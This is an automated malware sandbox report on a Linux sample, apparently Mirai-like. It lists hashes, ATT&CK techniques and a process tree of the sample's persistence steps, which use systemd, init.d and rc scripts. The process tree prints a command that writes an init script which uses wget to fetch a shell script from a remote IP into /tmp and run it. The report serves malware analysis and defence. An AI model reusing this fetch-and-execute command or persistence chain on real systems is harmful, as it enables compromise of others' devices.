4bafa66638b4631077e617f850abdec293c5cde65cd12d247bca0c5b029e8357

General

Target

0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90
Size

100KB
MD5

bc4f7b6b809716973dc96fb6a79f93ea
SHA1

6b657f8958d7bf6f5e4a074252aaa24fcbca4e0c
SHA256

0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90
SHA512

de632b38e37ea1148446a54d771145fef83867f47e6f9c6da0f8e634ccb9d2374c43ea5b611889f8aed93da6e09b0cf4a91a477619ca904bccbf575655c55622
SSDEEP

3072:btjVQMkmWGs5W3gGdpmO1DHXcEm0lxXF2w7QkH:bdVQMk6sor1Dc0TX0h

Score

7^/10

antivm defense_evasion discovery persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

shchmodshshchmod

pid process

1508 sh
1509 chmod
1515 sh
1516 sh
1517 chmod

pid	process
1508	sh
1509	chmod
1515	sh
1516	sh
1517	chmod

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

Processes:

0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90

description	ioc	process
File opened for modification	/dev/watchdog	0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90
File opened for modification	/dev/misc/watchdog	0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90

Checks mountinfo of local process 1 TTPs 1 IoCs
Checks mountinfo of running processes which indicate if it is running in chroot jail.
antivm

System Checks
T1497.001

Processes:

0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90

description ioc process

File opened for reading /proc/1523/mountinfo 0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90
Creates/modifies environment variables 1 TTPs 1 IoCs
Creating/modifying environment variables is a common persistence mechanism.
persistence privilege_escalation defense_evasion

Path Interception by PATH Environment Variable
T1574.007

Processes:

0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90

description ioc process

File opened for modification /etc/profile 0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90

description	ioc	process
File opened for reading	/proc/1523/mountinfo	0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90

description	ioc	process
File opened for modification	/etc/profile	0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90

Modifies init.d 2 TTPs 2 IoCs

Adds/modifies system service, likely for persistence.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

Processes:

0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90sh

description	ioc	process
File opened for modification	/etc/init.d/system	0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90
File opened for modification	/etc/init.d/sh	sh

Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
persistence

Boot or Logon Autostart Execution
T1547

RC Scripts
T1037.004

Processes:

0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90

description ioc process

File opened for modification /etc/rc.local 0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90
Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
persistence privilege_escalation

XDG Autostart Entries
T1547.013

Systemd Service
T1543.002

Processes:

0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90

description ioc process

File opened for modification /etc/systemd/system/custom.service 0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90
Modifies Bash startup script 2 TTPs 1 IoCs
persistence

Boot or Logon Autostart Execution
T1547

Unix Shell Configuration Modification
T1546.004

Processes:

0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90

description ioc process

File opened for modification /etc/profile 0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90

description	ioc	process
File opened for modification	/etc/rc.local	0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90

description	ioc	process
File opened for modification	/etc/systemd/system/custom.service	0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90

description	ioc	process
File opened for modification	/etc/profile	0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90

Changes its process name 1 IoCs

Processes:

0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90

description	pid	process
Changes the process name, possibly in an attempt to hide itself	1502	0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90

Reads runtime system information 13 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

systemctl0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90mkdir

description	ioc	process
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/707/cmdline	0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90
File opened for reading	/proc/self/status	0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90
File opened for reading	/proc/1/cgroup	0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90
File opened for reading	/proc/1/sched	systemctl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/1530/status	0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90
File opened for reading	/proc/1531/status	0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90
File opened for reading	/proc/1/cmdline	0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90
File opened for reading	/proc/sys/kernel/osrelease	systemctl
File opened for reading	/proc/1/environ	systemctl

/tmp/0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90
/tmp/0eacebfc0fea73dbe895d481deb9258ac8b8ac9203cbc56cf90fdf6a9eb01e90
1⤵
- Modifies Watchdog functionality
- Checks mountinfo of local process
- Creates/modifies environment variables
- Modifies init.d
- Modifies rc script
- Modifies systemd
- Modifies Bash startup script
- Changes its process name
- Reads runtime system information
PID:1502
- /bin/sh
  sh -c "systemctl enable custom.service >/dev/null 2>&1"
  2⤵
  PID:1505
- - /bin/systemctl
    systemctl enable custom.service
    3⤵
    - Reads runtime system information
    PID:1507
- /bin/sh
  sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"
  2⤵
  - File and Directory Permissions Modification
  PID:1508
- - /bin/chmod
    chmod +x /etc/init.d/system
    3⤵
    - File and Directory Permissions Modification
    PID:1509
- /bin/sh
  sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"
  2⤵
  PID:1510
- - /bin/ln
    ln -s /etc/init.d/system /etc/rcS.d/S99system
    3⤵
    PID:1514
- /bin/sh
  sh -c "echo \"#!/bin/sh # /etc/init.d/sh case \\\"\$1\\\" in start) echo 'Starting sh' /bin/sh & wget http://193.143.1.70/ -O /tmp/lol.sh chmod +x /tmp/lol.sh /tmp/lol.sh & ;; stop) echo 'Stopping sh' killall sh ;; restart) \$0 stop \$0 start ;; *) echo \\\"Usage: \$0 {start|stop|restart}\\\" exit 1 ;; esac exit 0\" > /etc/init.d/sh"
  2⤵
  - File and Directory Permissions Modification
  - Modifies init.d
  PID:1515
- /bin/sh
  sh -c "chmod +x /etc/init.d/sh >/dev/null 2>&1"
  2⤵
  - File and Directory Permissions Modification
  PID:1516
- - /bin/chmod
    chmod +x /etc/init.d/sh
    3⤵
    - File and Directory Permissions Modification
    PID:1517
- /bin/sh
  sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"
  2⤵
  PID:1518
- - /bin/mkdir
    mkdir -p /etc/rc.d
    3⤵
    - Reads runtime system information
    PID:1519
- /bin/sh
  sh -c "ln -s /etc/init.d/sh /etc/rc.d/S99sh >/dev/null 2>&1"
  2⤵
  PID:1520
- - /bin/ln
    ln -s /etc/init.d/sh /etc/rc.d/S99sh
    3⤵
    PID:1521

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

4

T1547

XDG Autostart Entries

1

T1547.013

Boot or Logon Initialization Scripts

2

T1037

RC Scripts

2

T1037.004

Create or Modify System Process

1

T1543

Systemd Service

1

T1543.002

Event Triggered Execution

1

T1546

Unix Shell Configuration Modification

1

T1546.004

Hijack Execution Flow

1

T1574

Path Interception by PATH Environment Variable

1

T1574.007

Privilege Escalation

Boot or Logon Autostart Execution

4

T1547

XDG Autostart Entries

1

T1547.013

Boot or Logon Initialization Scripts

2

T1037

RC Scripts

2

T1037.004

Create or Modify System Process

1

T1543

Systemd Service

1

T1543.002

Event Triggered Execution

1

T1546

Unix Shell Configuration Modification

1

T1546.004

Hijack Execution Flow

1

T1574

Path Interception by PATH Environment Variable

1

T1574.007

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Hijack Execution Flow

1

T1574

Path Interception by PATH Environment Variable

Impair Defenses

Virtualization/Sandbox Evasion

1

T1497

System Checks

1

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

1

T1497

System Checks

1

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/boot/bootcmd

Filesize
109B

MD5
735cae7d3cbab0f59d95f84790282103

SHA1
1cb77931b3097f18988016c9ceba3280a5ccb2ae

SHA256
dfdd4cf729384e4ed52516ab72bd86be286c80f53d4f5b764fd2dd2a2b2c983b

SHA512
998daa467c4ee63dd41515897728de70cbb9c579ca8b16c26d8e6db5edad53c6dbd6343fb10eda3dbc29b0cb1fa72a9b2653250e9027e6ee02d17726e958bbfe

Download Submit
/etc/init.d/sh

Filesize
353B

MD5
c5583b6a699f62cb0a004c99842f5c70

SHA1
b232ef89bf9b36643b5956aaacfd295b9ce2a0a7

SHA256
2b03c83558e4af71f3b35408cf668a2ee06931c21adec760952a21a11bc4c59b

SHA512
a9fc1e4c30452a3d100a8ccfbb707d9d323830fbbca90c98d3c126bf943539baaf1fccb04d435a4b627ed7f1bfb1bbd649dab282488d951dde87e097423e154d

Download Submit
/etc/init.d/system

Filesize
96B

MD5
f000251d92c773cc3ee1ca22cf5f0788

SHA1
e2386fe6a5f29b1e9e5ad5b38928c024f97105e6

SHA256
31a77745dd3724a0691a9255738b9c87516868932e3eb992e2afafcd0574a985

SHA512
0dad5adaa7742dd208596fefad53ab21c39fbf2cbe5c9958b92170d555d316f0a0b02ec5236311b869aa18e90592e81439a3a229bf1307b5daf87d87c5f493c2

Download Submit
/etc/inittab

Filesize
101B

MD5
3d6b6e1b05ad5d0538ccd8804bcd279b

SHA1
0fc061b51c225d5bea072c939de05e8a856558bc

SHA256
cab2df9c1c498df29445837610f14ae08d4af98d3acac69b0581c01fe594e3c5

SHA512
1957857cffbc0d526eb04e40db166d661b9dc59fc31fb5551f31cd58d270f839ffa2098e81c8555b12e9dbd55ba17df662b14c6441a6389eb9a76082fa401c98

Download Submit
/etc/motd

Filesize
53B

MD5
2bd9b4be30579e633fc0191aa93df486

SHA1
7d63a9bd9662e86666b27c1b50db8e7370c624ff

SHA256
64dc39f3004dc93c9fc4f1467b4807f2d8e3eb0bfa96b15c19cd8e7d6fa77a1d

SHA512
ae6dd7b39191354cf43cf65e517460d7d4c61b8f5c08e33e6ca3c451dc7cab4de89f33934c89396b80f1aade0a4e2571bd5ae8b76ef80b737d4588703d2814d5

Download Submit
/etc/systemd/system/custom.service

Filesize
290B

MD5
19a440fdac7f578f2fb33719698a082c

SHA1
ebadce21c65d05ad62a324deb39c57aecd3edf2c

SHA256
b176d41b748466f8ba35246c78a1c940f65403b363c086ccd5b5de577a87cf69

SHA512
8bdfac90e7235fc35eeec141a1e2145ed4ea5a250b71bdf0cf0e5e5aa59ab6dc004dc08561bd5547c4a4a106138c98950dc2098c905ce785b9b2c0657684d7bb

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads